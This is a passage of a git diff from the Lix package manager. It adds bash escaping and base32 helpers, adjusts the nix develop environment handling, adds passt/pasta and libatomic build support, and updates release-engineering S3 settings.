}
}
}
#endif
Strings args_(options.args);
args_.push_front(options.program);
+24 -2
View File
@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false,
struct RunOptions
{
struct Redirection
{
int from, to;
};
Path program;
bool searchPath = true;
Strings args = {};
@@ -84,8 +89,11 @@ struct RunOptions
std::optional<Path> chdir = {};
std::optional<std::map<std::string, std::string>> environment = {};
bool captureStdout = false;
bool mergeStderrToStdout = false;
bool isInteractive = false;
std::vector<Redirection> redirections;
#if __linux__
std::set<long> caps;
#endif
};
struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
@@ -102,9 +110,23 @@ private:
public:
RunningProgram() = default;
RunningProgram(RunningProgram &&) = default;
RunningProgram & operator=(RunningProgram &&) = default;
~RunningProgram();
void wait();
explicit operator bool() const { return bool(pid); }
std::tuple<pid_t, std::unique_ptr<Source>, int> release();
int kill();
[[nodiscard]]
int wait();
void waitAndCheck();
std::optional<int> getStdoutFD() const
{
return stdout_ ? std::optional(stdout_.get()) : std::nullopt;
}
Source * getStdout() const { return stdoutSource.get(); };
};
+2 -1
View File
@@ -1,4 +1,5 @@
#include "lix/libutil/references.hh"
#include "lix/libutil/strings.hh"
#include "lix/libutil/hash.hh"
#include "lix/libutil/logging.hh"
@@ -53,7 +54,7 @@ void RefScanSink::operator () (std::string_view data)
previous fragment and the start of the current fragment. */
auto s = tail;
auto tailLen = std::min(data.size(), refLength);
s.append(data.data(), tailLen);
s.append(data.data(), tailLen); // NOLINT(bugprone-suspicious-stringview-data-usage)
search(s, hashes, seen);
search(data, hashes, seen);
+112 -2
View File
@@ -1,6 +1,7 @@
#include "lix/libutil/strings.hh"
#include "lix/libutil/references.hh"
#include <boost/lexical_cast.hpp>
#include <ranges>
#include <stdint.h>
namespace nix {
@@ -128,8 +129,41 @@ std::string shellEscape(const std::string_view s)
std::string r;
r.reserve(s.size() + 2);
r += "'";
for (auto & i : s)
if (i == '\'') r += "'\\''"; else r += i;
for (auto & i : s) {
if (i == '\'') {
// End the single quote, add a single backslash-escaped single quote,
// then start a single quote again.
// i.e., `I didn't know` becomes `'I didn'\''t know'`.
r += "'\\''";
} else {
r += i;
}
}
r += '\'';
return r;
}
std::string bashEscape(const std::string_view s)
{
std::string r;
r.reserve(s.size() + 2);
r += "'";
for (auto & i : s) {
if (!std::isprint(i)) {
// Close the single quote, start an "ANSI-C Quote" ($'foo'), add `\xXX`,
// close the ANSI-C Quote, and finally start a normal single quote again.
r += fmt("'$'\\x%02x''", static_cast<unsigned int>(static_cast<unsigned char>(i)));
} else if (i == '\'') {
// End the single quote, add a single backslash-escaped single quote,
// then start a single quote again.
// i.e., `I didn't know` becomes `'I didn'\''t know'`.
r += "'\\''";
} else {
r += i;
}
}
r += '\'';
return r;
}
@@ -195,6 +229,82 @@ std::string base64Decode(std::string_view s)
return res;
}
// omitted: E O U T
const std::string base32Chars = "0123456789abcdfghijklmnpqrsvwxyz";
std::string base32EncodeStr(std::string_view s)
{
std::span<std::byte const> sp = std::as_bytes(std::span(s));
return base32Encode(sp);
}
std::string base32Encode(std::span<std::byte const> bytes)
{
// log2(32) == 5.
constexpr int B32_BITS_PER_DIGIT = 5;
// We need to do arithmetic.
auto const s = std::views::transform(bytes, std::to_integer<std::uint32_t>);
if (s.empty()) {
return "";
}
ssize_t len = (s.size() * CHAR_BIT - 1) / B32_BITS_PER_DIGIT + 1;
std::string res;
res.reserve(len);
for (ssize_t const n : std::views::iota(0, len) | std::views::reverse) {
unsigned int b = n * B32_BITS_PER_DIGIT;
unsigned int i = b / CHAR_BIT;
unsigned int j = b % CHAR_BIT;
auto const curChar = s[i];
auto const second = i >= s.size() - 1 ? 0 : s[i + 1] << (CHAR_BIT - j);
auto const c = (curChar >> j) | second;
res.push_back(base32Chars[c & 0x1f]);
}
return res;
}
std::string base32Decode(std::string_view s)
{
if (s.empty()) {
return "";
}
std::string res(((s.size() - 1) * 5) / 8 + 1, 0);
for (unsigned int n = 0; n < s.size(); ++n) {
char c = s[s.size() - n - 1];
size_t digit;
for (digit = 0; digit < base32Chars.size(); ++digit) /* !!! slow */ {
if (base32Chars[digit] == c) {
break;
}
}
if (digit >= 32) {
throw Error("invalid character in base-32 string '%s'", s);
}
unsigned int b = n * 5;
unsigned int i = b / 8;
unsigned int j = b % 8;
res[i] |= digit << j;
if (i < res.size() - 1) {
res[i + 1] |= digit >> (8 - j);
} else {
if (digit >> (8 - j)) {
throw Error("invalid base-32 string '%s'", s);
}
}
}
return res;
}
std::string stripIndentation(std::string_view s)
{
+12
View File
@@ -191,12 +191,24 @@ std::string toLower(const std::string & s);
*/
std::string shellEscape(const std::string_view s);
/**
* Same as shellEscape, but also escapes nonprinting characters using $'ANSI C quotes'.
*/
std::string bashEscape(const std::string_view s);
/**
* Base64 encoding/decoding.
*/
std::string base64Encode(std::string_view s);
std::string base64Decode(std::string_view s);
/**
* Base32 encoding/decoding.
*/
extern const std::string base32Chars;
std::string base32EncodeStr(std::string_view s);
std::string base32Encode(std::span<std::byte const> const s);
std::string base32Decode(std::string_view s);
/**
* Remove common leading whitespace from the lines in the string
+10 -4
View File
@@ -68,13 +68,19 @@ typename T::mapped_type * get(T & map, const typename T::key_type & key)
/**
* Get a value for the specified key from an associate container, or a default value if the key isn't present.
*/
template <class T>
const typename T::mapped_type & getOr(T & map,
template<class T>
const typename T::mapped_type & getOr(
T & map [[clang::lifetimebound]],
const typename T::key_type & key,
const typename T::mapped_type & defaultValue)
const typename T::mapped_type & defaultValue [[clang::lifetimebound]]
)
{
auto i = map.find(key);
if (i == map.end()) return defaultValue;
if (i == map.end()) {
/* FIXME(Raito): `[[clang::lifetimebound]]` has no effect on `defaultValue` warning. */
// NOLINTNEXTLINE(bugprone-return-const-ref-from-parameter)
return defaultValue;
}
return i->second;
}
+10
View File
@@ -1,7 +1,17 @@
# Cursed, but I don't think there's another way to get this environment variable.
lix_suffix = run_command('bash', '-c', 'echo -n "$VERSION_SUFFIX"', check : true).stdout().strip()
lix_version_parts = meson.project_version().split('.')
lix_major = lix_version_parts[0]
lix_minor = lix_version_parts[1]
lix_patch = lix_version_parts[2].replace(lix_suffix, '')
config_h = configure_file(
configuration : {
'PACKAGE_NAME': '"' + meson.project_name() + '"',
'PACKAGE_VERSION': '"' + meson.project_version() + '"',
'LIX_MAJOR': lix_major,
'LIX_MINOR': lix_minor,
'LIX_PATCH': lix_patch,
'PACKAGE_TARNAME': '"' + meson.project_name() + '"',
'PACKAGE_STRING': '"' + meson.project_name() + ' ' + meson.project_version() + '"',
'HAVE_STRUCT_DIRENT_D_TYPE': 1, # FIXME: actually check this for solaris
+7 -1
View File
@@ -364,11 +364,17 @@ static void daemonLoopImpl(std::optional<TrustedFlag> forceTrustClientOpt)
strncpy(savedArgv[1], processName.c_str(), strlen(savedArgv[1]));
}
auto store = aio.blockOn(openUncachedStore());
if (auto local = dynamic_cast<LocalStore *>(&*store); local && peer.uidKnown && peer.gidKnown) {
local->associateWithCredentials(peer.uid, peer.gid);
}
// Handle the connection.
FdSource from(remote.get());
FdSink to(remote.get());
processConnection(
aio, aio.blockOn(openUncachedStore()), from, to, trusted
aio, store, from, to, trusted
);
exit(0);
+32 -12
View File
@@ -6,6 +6,7 @@
#include "lix/libstore/store-api.hh"
#include "lix/libstore/outputs-spec.hh"
#include "lix/libstore/derivations.hh"
#include "lix/libstore/parsed-derivations.hh"
#include "lix/libutil/async.hh"
#include "lix/libutil/json.hh"
#include "run.hh"
@@ -141,20 +142,20 @@ struct BuildEnvironment
for (auto & [name, value] : vars) {
if (!ignoreVars.count(name)) {
if (auto str = std::get_if<String>(&value)) {
out << fmt("%s=%s\n", name, shellEscape(str->value));
out << fmt("%s=%s\n", name, bashEscape(str->value));
if (str->exported)
out << fmt("export %s\n", name);
}
else if (auto arr = std::get_if<Array>(&value)) {
out << "declare -a " << name << "=(";
for (auto & s : *arr)
out << shellEscape(s) << " ";
out << bashEscape(s) << " ";
out << ")\n";
}
else if (auto arr = std::get_if<Associative>(&value)) {
out << "declare -A " << name << "=(";
for (auto & [n, v] : *arr)
out << "[" << shellEscape(n) << "]=" << shellEscape(v) << " ";
out << "[" << bashEscape(n) << "]=" << bashEscape(v) << " ";
out << ")\n";
}
}
@@ -214,6 +215,8 @@ const static std::string getEnvSh =
static kj::Promise<Result<StorePath>> getDerivationEnvironment(ref<Store> store, ref<Store> evalStore, const StorePath & drvPath)
try {
auto drv = TRY_AWAIT(evalStore->derivationFromPath(drvPath));
ParsedDerivation parsedDrv(drvPath, drv);
JSON updatedStructuredAttrs;
auto builder = baseNameOf(drv.builder);
if (builder != "bash")
@@ -230,6 +233,20 @@ try {
drv.env.erase("disallowedRequisites");
drv.env.erase("name");
/* Remove output checks in structured attrs. */
if (auto structuredAttrs = parsedDrv.getStructuredAttrs()) {
drv.env.erase("__json");
updatedStructuredAttrs = *structuredAttrs;
updatedStructuredAttrs.erase("allowedReferences");
updatedStructuredAttrs.erase("allowedRequisites");
updatedStructuredAttrs.erase("disallowedReferences");
updatedStructuredAttrs.erase("disallowedRequisites");
updatedStructuredAttrs.erase("maxSize");
updatedStructuredAttrs.erase("maxClosureSize");
updatedStructuredAttrs.erase("outputChecks");
drv.env.emplace("__json", updatedStructuredAttrs.dump());
}
/* Rehash and write the derivation. FIXME: would be nice to use
'buildDerivation', but that's privileged. */
drv.name += "-env";
@@ -561,7 +578,7 @@ struct CmdDevelop : Common, MixEnvironment
auto [rcFileFd, rcFilePath] = createTempFile("nix-shell");
AutoDelete tmpDir(createTempDir("", "nix-develop"), true);
AutoDelete tmpDir(createTempDir("nix-develop"), true);
auto script = makeRcScript(*state, store, buildEnvironment, (Path) tmpDir);
@@ -582,21 +599,24 @@ struct CmdDevelop : Common, MixEnvironment
else if (!command.empty()) {
std::vector<std::string> args;
for (auto s : command)
args.push_back(shellEscape(s));
args.push_back(bashEscape(s));
script += fmt("exec %s\n", concatStringsSep(" ", args));
}
else {
script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\n" + script;
if (developSettings.bashPrompt != "")
script += fmt("[ -n \"$PS1\" ] && PS1=%s;\n",
shellEscape(developSettings.bashPrompt.get()));
script +=
fmt("[ -n \"$PS1\" ] && PS1=%s;\n",
bashEscape(developSettings.bashPrompt.get()));
if (developSettings.bashPromptPrefix != "")
script += fmt("[ -n \"$PS1\" ] && PS1=%s\"$PS1\";\n",
shellEscape(developSettings.bashPromptPrefix.get()));
script +=
fmt("[ -n \"$PS1\" ] && PS1=%s\"$PS1\";\n",
bashEscape(developSettings.bashPromptPrefix.get()));
if (developSettings.bashPromptSuffix != "")
script += fmt("[ -n \"$PS1\" ] && PS1+=%s;\n",
shellEscape(developSettings.bashPromptSuffix.get()));
script +=
fmt("[ -n \"$PS1\" ] && PS1+=%s;\n",
bashEscape(developSettings.bashPromptSuffix.get()));
}
writeFull(rcFileFd.get(), script);
@@ -698,7 +718,7 @@ struct CmdPrintDevEnv : Common, MixJSON
if (json) {
logger->writeToStdout(buildEnvironment.toJSON());
} else {
AutoDelete tmpDir(createTempDir("", "nix-dev-env"), true);
AutoDelete tmpDir(createTempDir("nix-dev-env"), true);
logger->writeToStdout(makeRcScript(*state, store, buildEnvironment, tmpDir));
}
}
+26
View File
@@ -12,6 +12,31 @@ fi
__vars="$(declare -p)"
__functions="$(declare -F)"
# Literal control characters (ASCII 0-31) aren't valid JSON.
__escapeCtrl() {
local escaped="$1"
# I don't know if NUL bytes are at ALL possible in here,
# but covering them is free.
local i=0
# NOTE: safe input `i` to arithmetic expansion.
while [[ "$i" -le 32 ]]; do
# Convert the decimal ASCII value to its actual string.
local asHex; printf -v asHex "%02x" "$i"
local asStr; printf -v asStr "%b" "\x$asHex"
# Format it to \uXXXX.
# All control characters fit within four hex digits.
local asUni; printf -v asUni '\\u%04x' "$i"
escaped="${escaped//"$asStr"/"$asUni"}"
i="$((i + 1))"
done
printf "%s" "$escaped"
}
__dumpEnv() {
printf '{\n'
@@ -125,6 +150,7 @@ __escapeString() {
__s="${__s//$'\n'/\\n}"
__s="${__s//$'\r'/\\r}"
__s="${__s//$'\t'/\\t}"
__s="$(__escapeCtrl "$__s")"
printf '"%s"' "$__s"
}
+1
View File
@@ -177,6 +177,7 @@ nix = executable(
boehm,
nlohmann_json,
kj,
libatomic,
],
cpp_pch : cpp_pch,
install : true,
+45
View File
@@ -265,6 +265,11 @@ configdata += {
'HAVE_SECCOMP': seccomp.found().to_int(),
}
# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs
configdata += {
'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(),
}
libarchive = dependency('libarchive', required : true, include_type : 'system')
brotli = [
@@ -335,6 +340,16 @@ editline = dependency('libeditline', 'editline', version : '>=1.14', required :
lowdown = dependency('lowdown', version : '>=0.9.0', required : true, include_type : 'system')
# TODO(sterni): drop the corresponding #ifdef after NixOS 25.05 is EOL which still distributes lowdown < 1.4.0
if lowdown.version().version_compare('>= 1.4.0')
add_project_arguments('-DLOWDOWN_SEPARATE_TERM_OPTS', language: 'cpp')
endif
# TODO(sterni): drop the corresponding #ifdef after NixOS 25.11 is EOL which still distributes lowdown < 3.0.0
if lowdown.version().version_compare('>= 3.0.0')
add_project_arguments('-DLOWDOWN_CONSOLIDATED_OFLAGS', language: 'cpp')
endif
# HACK(Qyriad): rapidcheck's pkg-config doesn't include the libs lol
# Note: technically we 'check' for rapidcheck twice, for the internal-api-docs handling above,
# but Meson will cache the result of the first one, and the required : arguments are different.
@@ -349,6 +364,9 @@ gtest = [
]
toml11 = dependency('toml11', version : '>=3.7.0', required : true, method : 'cmake', include_type : 'system')
configdata += {
'HAVE_TOML11_4': toml11.version().version_compare('>= 4.0.0').to_int(),
}
pegtl = dependency(
'pegtl',
@@ -365,6 +383,26 @@ if is_freebsd
libprocstat = declare_dependency(link_args : [ '-lprocstat' ])
endif
libatomic_test_program = '''
#include <atomic>
int main() {
std::atomic<uint8_t> w1;
std::atomic<uint16_t> w2;
std::atomic<uint32_t> w4;
std::atomic<uint64_t> w8;
return ++w1 + ++w2 + ++w4 + ++w8;
}
'''
libatomic = cxx.find_library('atomic', required : false)
# Some platforms like 32-Bit PowerPC need libatomic because they're lacking 64-Bit hardware atomic instructions
# and compilers don't handle this automatically (yet).
# See https://gcc.gnu.org/bugzilla/show_bug.cgi?id=81358 and https://clang.llvm.org/docs/Toolchain.html#atomics-library
if not cxx.links(libatomic_test_program, name : 'test if simple atomic program links')
libatomic = cxx.find_library('atomic', required : true)
endif
#
# Build-time tools
#
@@ -446,6 +484,13 @@ configdata += {
'HAVE_DTRACE': dtrace_feature.enabled().to_int(),
}
pasta_path = get_option('pasta-path')
# we can't check the pasta version because passt misuses stdio (it calls _exit()
# after printing the version, which will never print the version unless run from
# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
# we *will* enable it in our own packaging, but distributions are not forced to.
pasta = find_program(pasta_path, required : false, native : false)
lsof = find_program('lsof', native : true)
# This is how Nix does generated headers...
+4
View File
@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
)
option('pasta-path', type : 'string', value : 'pasta',
description : 'path to the location of pasta (provided by passt)',
)
option('enable-tests', type : 'boolean', value : true,
description : 'whether to enable tests or not (requires rapidcheck and gtest)',
)
+2 -1
View File
@@ -46,7 +46,8 @@ stdenv.mkDerivation rec {
propagatedBuildInputs = [
openssl
zlib
] ++ lib.optional (stdenv.cc.isClang && stdenv.targetPlatform.isStatic) empty-libgcc_eh;
]
++ lib.optional (stdenv.cc.isClang && stdenv.targetPlatform.isStatic) empty-libgcc_eh;
# FIXME: separate the binaries from the stuff that user systems actually use
# This runs into a terrible UX issue in Lix and I just don't want to debug it
+64
View File
@@ -0,0 +1,64 @@
{
lib,
stdenv,
buildPackages,
fetchurl,
getconf,
gitUpdater,
testers,
}:
stdenv.mkDerivation (finalAttrs: {
pname = "passt";
version = "2025_02_17.a1e48a0";
src = fetchurl {
url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
};
postPatch = ''
substituteInPlace Makefile --replace-fail \
'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
"PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
'';
makeFlags = [
"prefix=${placeholder "out"}"
"VERSION=${finalAttrs.version}"
];
passthru = {
tests.version = testers.testVersion {
package = finalAttrs.finalPackage;
};
updateScript = gitUpdater {
url = "https://passt.top/passt";
};
};
meta = with lib; {
homepage = "https://passt.top/passt/about/";
description = "Plug A Simple Socket Transport";
longDescription = ''
passt implements a translation layer between a Layer-2 network interface
and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
It doesn't require any capabilities or privileges, and it can be used as
a simple replacement for Slirp.
pasta (same binary as passt, different command) offers equivalent
functionality, for network namespaces: traffic is forwarded using a tap
interface inside the namespace, without the need to create further
interfaces on the host, hence not requiring any capabilities or
privileges.
'';
license = [
licenses.bsd3 # and
licenses.gpl2Plus
];
platforms = platforms.linux;
maintainers = with maintainers; [ _8aed ];
mainProgram = "passt";
};
})
+4 -1
View File
@@ -1 +1,4 @@
d @localstatedir@/nix/daemon-socket 0755 root root - -
d @localstatedir@/nix/daemon-socket 0755 root root - -
d @localstatedir@/nix/b 0755 root root 7d -
# TODO: Remove this after (at least) August 2026.
R! @localstatedir@/nix/builds - - - - -
+93 -84
View File
@@ -45,6 +45,8 @@
ninja,
ncurses,
openssl,
# FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
passt-lix ? __forDefaults.passt-lix,
pegtl,
pkg-config,
python3,
@@ -116,6 +118,8 @@
# needs derivation patching to add debuginfo and coroutine library support
# !! must build this with clang as it is affected by the gcc coroutine bugs
capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; };
passt-lix = callPackage ./misc/passt.nix { };
},
}:
@@ -131,10 +135,10 @@ let
# This could be the dtrace for macOS, etc, but I have no idea if it is
# packaged or if it works.
dtrace-generator = lib.optional withDtrace systemtap-lix;
dtrace-generator = if withDtrace then systemtap-lix else null;
# This is for sys/sdt.h
dtrace-headers = lib.optional withDtrace libsystemtap;
dtrace-headers = if withDtrace then libsystemtap else null;
aws-sdk-cpp-nix =
if aws-sdk-cpp == null then
@@ -205,6 +209,8 @@ assert (lintInsteadOfBuild -> lix-clang-tidy != null);
stdenv.mkDerivation (finalAttrs: {
inherit pname version;
__structuredAttrs = true;
src = fileset.toSource {
root = ./.;
fileset = fileset.intersection baseFiles (
@@ -225,14 +231,13 @@ stdenv.mkDerivation (finalAttrs: {
);
};
VERSION_SUFFIX = versionSuffix;
outputs =
[ "out" ]
++ lib.optionals (!finalAttrs.dontBuild) [
"dev"
"doc"
];
outputs = [
"out"
]
++ lib.optionals (!finalAttrs.dontBuild) [
"dev"
"doc"
];
dontBuild = lintInsteadOfBuild;
@@ -247,6 +252,7 @@ stdenv.mkDerivation (finalAttrs: {
# which don't actually get added to PATH. And buildInputs is correct over
# nativeBuildInputs since this should be a busybox executable on the host.
"-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
"-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
]
++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
@@ -263,85 +269,86 @@ stdenv.mkDerivation (finalAttrs: {
(lib.mesonBool "werror" werror)
]
++ lib.optional (hostPlatform != buildPlatform) "--cross-file=${mesonCrossFile}"
# Temporary workaround for https://git.lix.systems/lix-project/lix/issues/832
++ lib.optional (hostPlatform.isDarwin) "-Db_lto=false"
++ sanitizeOpts;
# We only include CMake so that Meson can locate toml11, which only ships CMake dependency metadata.
dontUseCmakeConfigure = true;
nativeBuildInputs =
[
lixPythonForBuild
meson
ninja
cmake
rustc
capnproto-lix
# Required for libstd++ assertions that leaks inside of the final binary.
removeReferencesTo
dtrace-generator
]
++ [
(lib.getBin lowdown-unsandboxed)
mdbook
mdbook-linkcheck
]
++ [
pkg-config
nativeBuildInputs = [
lixPythonForBuild
meson
ninja
cmake
rustc
capnproto-lix
# Required for libstd++ assertions that leaks inside of the final binary.
removeReferencesTo
dtrace-generator
]
++ [
(lib.getBin lowdown-unsandboxed)
mdbook
mdbook-linkcheck
]
++ [
pkg-config
# Tests
git
mercurial
jq
yq
lsof
]
++ lib.optional hostPlatform.isLinux util-linuxMinimal
++ lib.optional (!officialRelease && buildUnreleasedNotes) build-release-notes
++ lib.optional internalApiDocs doxygen
++ lib.optionals lintInsteadOfBuild [
# required for a wrapped clang-tidy
llvmPackages.clang-tools
# load-bearing order (just as below); the actual stdenv wrapped clang
# needs to precede the unwrapped clang in PATH such that calling `clang`
# can compile things.
stdenv.cc
# required for run-clang-tidy
llvmPackages.clang-unwrapped
];
# Tests
git
mercurial
jq
yq
lsof
]
++ lib.optional hostPlatform.isLinux util-linuxMinimal
++ lib.optional (!officialRelease && buildUnreleasedNotes) build-release-notes
++ lib.optional internalApiDocs doxygen
++ lib.optionals lintInsteadOfBuild [
# required for a wrapped clang-tidy
llvmPackages.clang-tools
# load-bearing order (just as below); the actual stdenv wrapped clang
# needs to precede the unwrapped clang in PATH such that calling `clang`
# can compile things.
stdenv.cc
# required for run-clang-tidy
llvmPackages.clang-unwrapped
];
buildInputs =
[
curl
bzip2
xz
brotli
editline-lix
openssl
sqlite
libarchive
boost
lowdown
libsodium
toml11
pegtl
capnproto-lix
dtrace-headers
]
++ lib.optionals hostPlatform.isLinux [
libseccomp
busybox-sandbox-shell
]
++ lib.optionals (
stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0"
) [ apple-sdk_11 ]
++ lib.optional internalApiDocs rapidcheck
++ lib.optional hostPlatform.isx86_64 libcpuid
# There have been issues building these dependencies
++ lib.optional (hostPlatform.canExecute buildPlatform) aws-sdk-cpp-nix
++ lib.optionals (finalAttrs.dontBuild) maybePropagatedInputs
# I am so sorry. This is because checkInputs are required to pass
# configure, but we don't actually want to *run* the checks here.
++ lib.optionals lintInsteadOfBuild finalAttrs.checkInputs;
buildInputs = [
curl
bzip2
xz
brotli
editline-lix
openssl
sqlite
libarchive
boost
lowdown
libsodium
toml11
pegtl
capnproto-lix
dtrace-headers
]
++ lib.optionals hostPlatform.isLinux [
libseccomp
busybox-sandbox-shell
passt-lix
]
++ lib.optionals (
stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0"
) [ apple-sdk_11 ]
++ lib.optional internalApiDocs rapidcheck
++ lib.optional hostPlatform.isx86_64 libcpuid
# There have been issues building these dependencies
++ lib.optional (hostPlatform.canExecute buildPlatform) aws-sdk-cpp-nix
++ lib.optionals (finalAttrs.dontBuild) maybePropagatedInputs
# I am so sorry. This is because checkInputs are required to pass
# configure, but we don't actually want to *run* the checks here.
++ lib.optionals lintInsteadOfBuild finalAttrs.checkInputs;
checkInputs = [
gtest
@@ -356,9 +363,9 @@ stdenv.mkDerivation (finalAttrs: {
lixPythonForBuild
];
# Needed for Meson to find Boost.
# https://github.com/NixOS/nixpkgs/issues/86131.
env = {
# Needed for Meson to find Boost.
# https://github.com/NixOS/nixpkgs/issues/86131.
BOOST_INCLUDEDIR = "${lib.getDev boost}/include";
BOOST_LIBRARYDIR = "${lib.getLib boost}/lib";
@@ -366,6 +373,8 @@ stdenv.mkDerivation (finalAttrs: {
# Turns out the Nix-generated Cargo dependencies are named the same as they
# would be in a Cargo registry cache.
MESON_PACKAGE_CACHE_DIR = finalAttrs.cargoDeps;
VERSION_SUFFIX = versionSuffix;
};
cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; };
+14 -15
View File
@@ -35,21 +35,20 @@ perl.pkgs.toPerlModule (
ninja
];
buildInputs =
[
nix
curl
bzip2
xz
perl
boost
perlPackages.DBI
perlPackages.DBDSQLite
# for kj-async
nix.passthru.capnproto-lix
]
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
buildInputs = [
nix
curl
bzip2
xz
perl
boost
perlPackages.DBI
perlPackages.DBDSQLite
# for kj-async
nix.passthru.capnproto-lix
]
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
# Nixpkgs' Meson hook likes to set this to "plain".
mesonBuildType = "debugoptimized";
+1 -1
View File
@@ -40,7 +40,7 @@ def setup_creds(env: RelengEnvironment):
key = keys.get_ephemeral_key(env)
$AWS_SECRET_ACCESS_KEY = key.secret_key
$AWS_ACCESS_KEY_ID = key.id
$AWS_DEFAULT_REGION = 'garage'
$AWS_DEFAULT_REGION = env.s3_region
$AWS_ENDPOINT_URL = env.s3_endpoint
+20 -11
View File
@@ -5,11 +5,12 @@ import functools
import subprocess
import dataclasses
S3_HOST = 's3.lix.systems'
S3_HOST = 's3-admin.afnix.fr'
S3_USER = 'lix-releng'
DEFAULT_STORE_URI_BITS = {
'region': 'garage',
'endpoint': 's3.lix.systems',
'region': 'global',
'endpoint': 's3.afnix.fr',
'want-mass-query': 'true',
'write-nar-listing': 'true',
'ls-compression': 'zstd',
@@ -54,7 +55,9 @@ class RelengEnvironment:
git_repo: Callable[[], str]
git_repo_is_gerrit: bool
s3_endpoint: str
s3_region: str
s3_ssh_host: str | None
s3_ssh_user: str | None
docker_targets: list[DockerTarget]
@@ -86,17 +89,19 @@ LOCAL = RelengEnvironment(
git_repo_is_gerrit=False,
docker_targets=[],
s3_endpoint = 'http://localhost:3900',
s3_region = 'garage',
s3_ssh_host = None,
s3_ssh_user = None,
)
STAGING = RelengEnvironment(
name='staging',
colour=functools.partial(sgr, GREEN),
docs_bucket='s3://staging-docs',
cache_bucket='s3://staging-cache',
docs_bucket='s3://docs.staging.lix.systems',
cache_bucket='s3://cache.staging.lix.systems',
cache_store_overlay={'secret-key': 'staging.key'},
releases_bucket='s3://staging-releases',
releases_bucket='s3://releases.staging.lix.systems',
git_repo=lambda: 'ssh://git@git.lix.systems/lix-project/lix-releng-staging',
git_repo_is_gerrit=False,
docker_targets=[
@@ -106,8 +111,10 @@ STAGING = RelengEnvironment(
DockerTarget('ghcr.io/lix-project/lix-releng-staging',
tags=['{version}', '{major}']),
],
s3_endpoint = 'https://s3.lix.systems',
s3_endpoint = 'https://s3.afnix.fr',
s3_region = 'garage',
s3_ssh_host = S3_HOST,
s3_ssh_user = S3_USER,
)
GERRIT_REMOTE_RE = re.compile(r'^ssh://(\w+@)?gerrit.lix.systems:2022/lix$')
@@ -127,13 +134,13 @@ def guess_gerrit_remote():
PROD = RelengEnvironment(
name='production',
colour=functools.partial(sgr, RED),
docs_bucket='s3://docs',
cache_bucket='s3://cache',
docs_bucket='s3://docs.lix.systems',
cache_bucket='s3://cache.lix.systems',
# FIXME: we should decrypt this with age into a tempdir in the future, but
# the issue is how to deal with the recipients file. For now, we should
# just delete it after doing a release.
cache_store_overlay={'secret-key': 'prod.key'},
releases_bucket='s3://releases',
releases_bucket='s3://releases.lix.systems',
git_repo=guess_gerrit_remote,
git_repo_is_gerrit=True,
docker_targets=[
@@ -142,8 +149,10 @@ PROD = RelengEnvironment(
tags=['{version}', '{major}']),
DockerTarget('ghcr.io/lix-project/lix', tags=['{version}', '{major}']),
],
s3_endpoint = 'https://s3.lix.systems',
s3_endpoint = 'https://s3.afnix.fr',
s3_region = 'global',
s3_ssh_host = S3_HOST,
s3_ssh_user = S3_USER,
)
ENVIRONMENTS = {
@@ -1,12 +1,12 @@
# SPDX-FileCopyrightText: 2024 Jade Lovelace
# SPDX-FileCopyrightText: 2026 Yureka Lilian <yureka@cyberchaos.dev>
# SPDX-License-Identifier: MIT
import argparse
import json
import sys
import datetime
import dataclasses
import re
from typing import Any, Literal, Optional
from typing import Any
import requests
import os
import logging
@@ -14,27 +14,34 @@ import logging
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
fmt = logging.Formatter('{asctime} {levelname} {name}: {message}',
datefmt='%b %d %H:%M:%S',
style='{')
fmt = logging.Formatter(
"{asctime} {levelname} {name}: {message}",
datefmt="%b %d %H:%M:%S",
style="{",
)
if not any(isinstance(h, logging.StreamHandler) for h in log.handlers):
hand = logging.StreamHandler()
hand.setFormatter(fmt)
log.addHandler(hand)
API_BASE = os.environ.get('GARAGE_ADMIN_API_BASE', 'http://localhost:3903')
API_KEY = os.environ['GARAGE_ADMIN_TOKEN']
API_BASE = os.environ.get("GARAGE_ADMIN_API_BASE", "http://localhost:3903")
API_KEY = os.environ["GARAGE_ADMIN_TOKEN"]
BUCKET_REGEX_STR = os.environ.get("BUCKET_REGEX", ".*")
BUCKET_REGEX = re.compile(BUCKET_REGEX_STR)
def api(method, endpoint: str, resp_json=True, **kwargs) -> Any:
log.info('http %s %s', method, endpoint)
if not endpoint.startswith('https'):
log.info("http %s %s", method, endpoint)
if not endpoint.startswith("https"):
endpoint = API_BASE + endpoint
resp = requests.request(method,
endpoint,
headers={'Authorization': f'Bearer {API_KEY}'},
**kwargs)
resp = requests.request(
method,
endpoint,
headers={"Authorization": f"Bearer {API_KEY}"},
**kwargs,
)
resp.raise_for_status()
if resp_json:
return resp.json()
@@ -42,97 +49,64 @@ def api(method, endpoint: str, resp_json=True, **kwargs) -> Any:
return resp
@dataclasses.dataclass
